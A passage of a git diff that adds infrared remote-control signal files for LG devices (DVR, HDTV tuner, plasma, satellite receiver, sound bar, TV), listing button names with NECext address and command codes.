2D 00 00 +command: 7C 00 00 00 +# +name: GREEN +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 7D 00 00 00 +# +name: GREEN_BUTTON +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 7D 00 00 00 +# +name: B_(GREEN) +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 7D 00 00 00 +# +name: YELLOW +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 7E 00 00 00 +# +name: YELLOW_BUTTON +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 7E 00 00 00 +# +name: C_(YELLOW) +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 7E 00 00 00 +# +name: BLUE +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 7F 00 00 00 +# +name: BLUE_BUTTON +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 7F 00 00 00 +# +name: D_(BLUE) +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 7F 00 00 00 +# +name: CURSOR +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: C0 00 00 00 +# +name: CURSOR_LEFT_UP +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: C1 00 00 00 +# +name: CURSOR_RIGHT_UP +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: C2 00 00 00 +# +name: CURSOR_LEFT_DOWN +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: C3 00 00 00 +# +name: CURSOR_RIGHT_DOWN +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: C4 00 00 00 +# +name: RESOLUTION +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: F5 00 00 00 +# +name: POP_UP +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: F6 00 00 00 +# +name: * +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: F6 00 00 00 +# +name: SUBTITLE_ON/OFF +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: F7 00 00 00 +# +name: RESUME_PLAY +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: F8 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/LG/DVR/45,45.ir b/assets/resources/infrared/_CSV-IRDB_/LG/DVR/45,45.ir new file mode 100644 index 000000000..8168f076f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/LG/DVR/45,45.ir @@ -0,0 +1,314 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 30 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 31 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 32 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 33 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 34 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 35 00 00 00 +# +name: OPEN/CLOSE +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 36 00 00 00 +# +name: PAUSE/STEP +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 38 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 39 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 3A 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 3B 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 3C 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 3D 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 3E 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 3F 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 40 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 41 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 42 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 43 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 44 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 45 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 46 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 47 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 48 00 00 00 +# +name: TITLE +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 4A 00 00 00 +# +name: MENU/LIST +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 4B 00 00 00 +# +name: ANGLE +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 4C 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 4F 00 00 00 +# +name: SUBTITLE +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 50 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 51 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 53 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 55 00 00 00 +# +name: SETUP +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 56 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 58 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 59 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 5A 00 00 00 +# +name: PIP +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 5F 00 00 00 +# +name: MARKER +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 61 00 00 00 +# +name: SEARCH +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 62 00 00 00 +# +name: 3D_SURR. +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 63 00 00 00 +# +name: ZOOM +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 64 00 00 00 +# +name: HOME +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 67 00 00 00 +# +name: DUBBING +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 68 00 00 00 +# +name: AV +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: B0 00 00 00 +# +name: I.SKIP +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: B5 00 00 00 +# +name: REC +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: B6 00 00 00 +# +name: TIMER_REC +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: B7 00 00 00 +# +name: REC_MODE +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: B8 00 00 00 +# +name: TIMESHIFT +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: B9 00 00 00 +# +name: THUMBNAIL +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: BA 00 00 00 +# +name: CHP_ADD +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: BB 00 00 00 +# +name: * +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: BE 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/LG/HDTV Tuner/247,-1.ir b/assets/resources/infrared/_CSV-IRDB_/LG/HDTV Tuner/247,-1.ir new file mode 100644 index 000000000..ff9c34ff9 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/LG/HDTV Tuner/247,-1.ir @@ -0,0 +1,92 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER_ON +type: parsed +protocol: NECext +address: F7 00 00 00 +command: D0 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: F7 00 00 00 +command: D1 00 00 00 +# +name: SYSTEM_OFF +type: parsed +protocol: NECext +address: F7 00 00 00 +command: D2 00 00 00 +# +name: NATIVE +type: parsed +protocol: NECext +address: F7 00 00 00 +command: D3 00 00 00 +# +name: VARIABLE_1 +type: parsed +protocol: NECext +address: F7 00 00 00 +command: D4 00 00 00 +# +name: VARIABLE_2 +type: parsed +protocol: NECext +address: F7 00 00 00 +command: D5 00 00 00 +# +name: VARIABLE_3 +type: parsed +protocol: NECext +address: F7 00 00 00 +command: D6 00 00 00 +# +name: 1080I +type: parsed +protocol: NECext +address: F7 00 00 00 +command: D7 00 00 00 +# +name: 720P +type: parsed +protocol: NECext +address: F7 00 00 00 +command: D8 00 00 00 +# +name: 480P +type: parsed +protocol: NECext +address: F7 00 00 00 +command: D9 00 00 00 +# +name: 480I +type: parsed +protocol: NECext +address: F7 00 00 00 +command: DA 00 00 00 +# +name: DVI +type: parsed +protocol: NECext +address: F7 00 00 00 +command: DB 00 00 00 +# +name: RGB +type: parsed +protocol: NECext +address: F7 00 00 00 +command: DC 00 00 00 +# +name: YPBPR_COMPONENT +type: parsed +protocol: NECext +address: F7 00 00 00 +command: DD 00 00 00 +# +name: VIDEO +type: parsed +protocol: NECext +address: F7 00 00 00 +command: DE 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/LG/Plasma/1,1.ir b/assets/resources/infrared/_CSV-IRDB_/LG/Plasma/1,1.ir new file mode 100644 index 000000000..e7594fbb7 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/LG/Plasma/1,1.ir @@ -0,0 +1,14 @@ +Filetype: IR signals file +Version: 1 +# +name: MUTE +type: parsed +protocol: NECext +address: 01 01 00 00 +command: 0A 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 01 01 00 00 +command: 1C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/LG/Plasma/4,-1.ir b/assets/resources/infrared/_CSV-IRDB_/LG/Plasma/4,-1.ir new file mode 100644 index 000000000..905ebae88 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/LG/Plasma/4,-1.ir @@ -0,0 +1,566 @@ +Filetype: IR signals file +Version: 1 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 00 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 01 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 02 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 03 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 06 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 06 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 07 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 07 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 08 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 09 00 00 00 +# +name: I/II +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0A 00 00 00 +# +name: MTS +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0A 00 00 00 +# +name: TV/VIDEO +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0B 00 00 00 +# +name: INPUT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0B 00 00 00 +# +name: TV_/_VIDEO +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0B 00 00 00 +# +name: SLEEP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0E 00 00 00 +# +name: TV_INPUT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0F 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 10 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 11 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 12 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 13 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 14 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 15 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 16 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 17 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 18 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 19 00 00 00 +# +name: BACK +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1A 00 00 00 +# +name: FLASHBACK +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1A 00 00 00 +# +name: Q.VIEW +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1A 00 00 00 +# +name: REVIEW +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1A 00 00 00 +# +name: FAV +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1E 00 00 00 +# +name: FRC +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1E 00 00 00 +# +name: TEXT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 20 00 00 00 +# +name: TEXT_TIME +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 26 00 00 00 +# +name: BACK +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 28 00 00 00 +# +name: TEXT_REVEAL +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 2A 00 00 00 +# +name: SUBTITLE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 39 00 00 00 +# +name: CAPTION +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 39 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 40 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 40 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 41 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 41 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 43 00 00 00 +# +name: CURSOR_ENTER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 44 00 00 00 +# +name: CURSOR_OK +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 44 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 44 00 00 00 +# +name: DASH- +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4C 00 00 00 +# +name: -- +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4C 00 00 00 +# +name: APC +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4D 00 00 00 +# +name: INPUT_D/A +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 50 00 00 00 +# +name: DASP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 52 00 00 00 +# +name: LIST +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 53 00 00 00 +# +name: A._PROGRAM +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 54 00 00 00 +# +name: MEMORY/ERASE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 55 00 00 00 +# +name: VIDEO_1 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5A 00 00 00 +# +name: VIDEO_1 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5A 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5B 00 00 00 +# +name: PIP/_DW +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 60 00 00 00 +# +name: COLOR_4_BLUE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 61 00 00 00 +# +name: PIP_INPUT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 61 00 00 00 +# +name: TEXT_UPDATE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 62 00 00 00 +# +name: WINDOW_POSITION +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 62 00 00 00 +# +name: COLOR_3_YELLOW +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 63 00 00 00 +# +name: SWAP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 63 00 00 00 +# +name: WINDOW_SIZE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 64 00 00 00 +# +name: TEXT_HOLD +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 65 00 00 00 +# +name: TEXT_INDEX +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 70 00 00 00 +# +name: COLOR_2_GREEN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 71 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 71 00 00 00 +# +name: COLOR_1_RED +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 72 00 00 00 +# +name: PIP_CH_- +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 72 00 00 00 +# +name: PIP_CH+ +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 72 00 00 00 +# +name: 4:3 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 76 00 00 00 +# +name: 16:9 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 77 00 00 00 +# +name: RATIO +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 79 00 00 00 +# +name: ARC +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 79 00 00 00 +# +name: SPLIT_ZOOM +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 7B 00 00 00 +# +name: SIMPLINK +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 7E 00 00 00 +# +name: MULTIMEDIA +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 98 00 00 00 +# +name: TV_GUIDE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: A9 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 04 00 00 00 +command: AA 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: AB 00 00 00 +# +name: COMPONET +type: parsed +protocol: NECext +address: 04 00 00 00 +command: BF 00 00 00 +# +name: COMPONENT_1 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: BF 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 04 00 00 00 +command: C4 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 04 00 00 00 +command: C5 00 00 00 +# +name: DVI +type: parsed +protocol: NECext +address: 04 00 00 00 +command: C6 00 00 00 +# +name: VIDEO_2 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: D0 00 00 00 +# +name: RGB +type: parsed +protocol: NECext +address: 04 00 00 00 +command: D5 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: 04 00 00 00 +command: D6 00 00 00 +# +name: BRIGHTNESS_+ +type: parsed +protocol: NECext +address: 04 00 00 00 +command: E0 00 00 00 +# +name: BRIGHTNESS_- +type: parsed +protocol: NECext +address: 04 00 00 00 +command: E1 00 00 00 +# +name: TV/RADIO +type: parsed +protocol: NECext +address: 04 00 00 00 +command: F0 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/LG/Satellite/247,-1.ir b/assets/resources/infrared/_CSV-IRDB_/LG/Satellite/247,-1.ir new file mode 100644 index 000000000..ba477c925 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/LG/Satellite/247,-1.ir @@ -0,0 +1,182 @@ +Filetype: IR signals file +Version: 1 +# +name: CHANNEL_/_PAGE_UP +type: parsed +protocol: NECext +address: F7 00 00 00 +command: 00 00 00 00 +# +name: CHANNEL_/_PAGE_DOWN +type: parsed +protocol: NECext +address: F7 00 00 00 +command: 01 00 00 00 +# +name: CUR_UP +type: parsed +protocol: NECext +address: F7 00 00 00 +command: 04 00 00 00 +# +name: CUR_DOWN +type: parsed +protocol: NECext +address: F7 00 00 00 +command: 05 00 00 00 +# +name: CUR_RIGHT +type: parsed +protocol: NECext +address: F7 00 00 00 +command: 06 00 00 00 +# +name: CUR_LEFT +type: parsed +protocol: NECext +address: F7 00 00 00 +command: 07 00 00 00 +# +name: POWER_(TOGGLE) +type: parsed +protocol: NECext +address: F7 00 00 00 +command: 08 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: F7 00 00 00 +command: 10 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: F7 00 00 00 +command: 11 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: F7 00 00 00 +command: 12 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: F7 00 00 00 +command: 13 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: F7 00 00 00 +command: 14 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: F7 00 00 00 +command: 15 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: F7 00 00 00 +command: 16 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: F7 00 00 00 +command: 17 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: F7 00 00 00 +command: 18 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: F7 00 00 00 +command: 19 00 00 00 +# +name: PREV-CHAN +type: parsed +protocol: NECext +address: F7 00 00 00 +command: 1A 00 00 00 +# +name: SURF +type: parsed +protocol: NECext +address: F7 00 00 00 +command: 1E 00 00 00 +# +name: CC/DATE +type: parsed +protocol: NECext +address: F7 00 00 00 +command: 39 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: F7 00 00 00 +command: 43 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: F7 00 00 00 +command: 44 00 00 00 +# +name: -_(DASH) +type: parsed +protocol: NECext +address: F7 00 00 00 +command: 4C 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: F7 00 00 00 +command: 5B 00 00 00 +# +name: FREEZE +type: parsed +protocol: NECext +address: F7 00 00 00 +command: 65 00 00 00 +# +name: RATIO +type: parsed +protocol: NECext +address: F7 00 00 00 +command: 79 00 00 00 +# +name: HELP +type: parsed +protocol: NECext +address: F7 00 00 00 +command: 81 00 00 00 +# +name: SIGNAL +type: parsed +protocol: NECext +address: F7 00 00 00 +command: 96 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: F7 00 00 00 +command: A9 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: F7 00 00 00 +command: AA 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/LG/Sound Bar/44,44.ir b/assets/resources/infrared/_CSV-IRDB_/LG/Sound Bar/44,44.ir new file mode 100644 index 000000000..7cbca0155 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/LG/Sound Bar/44,44.ir @@ -0,0 +1,182 @@ +Filetype: IR signals file +Version: 1 +# +name: CURSOR_ENTER/STOP +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: 05 00 00 00 +# +name: CURSOR_LEFT/PREV +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: 06 00 00 00 +# +name: CURSOR_RIGHT/NEXT +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: 07 00 00 00 +# +name: FOLDER_+ +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: 0C 00 00 00 +# +name: FOLDER_- +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: 0D 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: 16 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: 17 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: 1E 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: 1F 00 00 00 +# +name: SOUND_EFFECT +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: 2F 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: 41 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: 42 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: 43 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: 44 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: 45 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: 46 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: 47 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: 48 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: 49 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: 4B 00 00 00 +# +name: CURSOR_UP/REPEAT +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: 4E 00 00 00 +# +name: CURSOR_DOWN/PLAY +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: 4F 00 00 00 +# +name: DOBLY_DRC +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: 62 00 00 00 +# +name: WOOFER_LEVEL +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: 66 00 00 00 +# +name: BLUETOOTH +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: 84 00 00 00 +# +name: INPUT +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: 8A 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: A3 00 00 00 +# +name: OPTICAL +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: B6 00 00 00 +# +name: SLEEP +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: C2 00 00 00 +# +name: AV_SYNC +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: D9 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/LG/TV/1,1.ir b/assets/resources/infrared/_CSV-IRDB_/LG/TV/1,1.ir new file mode 100644 index 000000000..e7594fbb7 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/LG/TV/1,1.ir @@ -0,0 +1,14 @@ +Filetype: IR signals file +Version: 1 +# +name: MUTE +type: parsed +protocol: NECext +address: 01 01 00 00 +command: 0A 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 01 01 00 00 +command: 1C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/LG/TV/4,-1.ir b/assets/resources/infrared/_CSV-IRDB_/LG/TV/4,-1.ir new file mode 100644 index 000000000..2d60a3bb9 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/LG/TV/4,-1.ir @@ -0,0 +1,1742 @@ +Filetype: IR signals file +Version: 1 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 00 00 00 00 +# +name: CURSOR_UP_/_PR_UP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 00 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 00 00 00 00 +# +name: PAGE_UP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 00 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 00 00 00 00 +# +name: CH+_/_UP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 00 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 01 00 00 00 +# +name: CURSOR_DOWN_/_PR_DN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 01 00 00 00 +# +name: ARROW_LEFT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 01 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 01 00 00 00 +# +name: PAGE_DOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 01 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 01 00 00 00 +# +name: CH-_/_DOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 01 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 02 00 00 00 +# +name: CURSOR_RIGHT_/_VOL+ +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 02 00 00 00 +# +name: ARROW_RIGHT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 02 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 02 00 00 00 +# +name: VOL+_/_RIGHT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 02 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 03 00 00 00 +# +name: CURSOR_LEFT_/_VOL- +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 03 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 03 00 00 00 +# +name: VOL-_/_LEFT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 03 00 00 00 +# +name: ARROW_RIGHT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 06 00 00 00 +# +name: C-RT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 06 00 00 00 +# +name: CURSOR_RIGHT +type: parsed 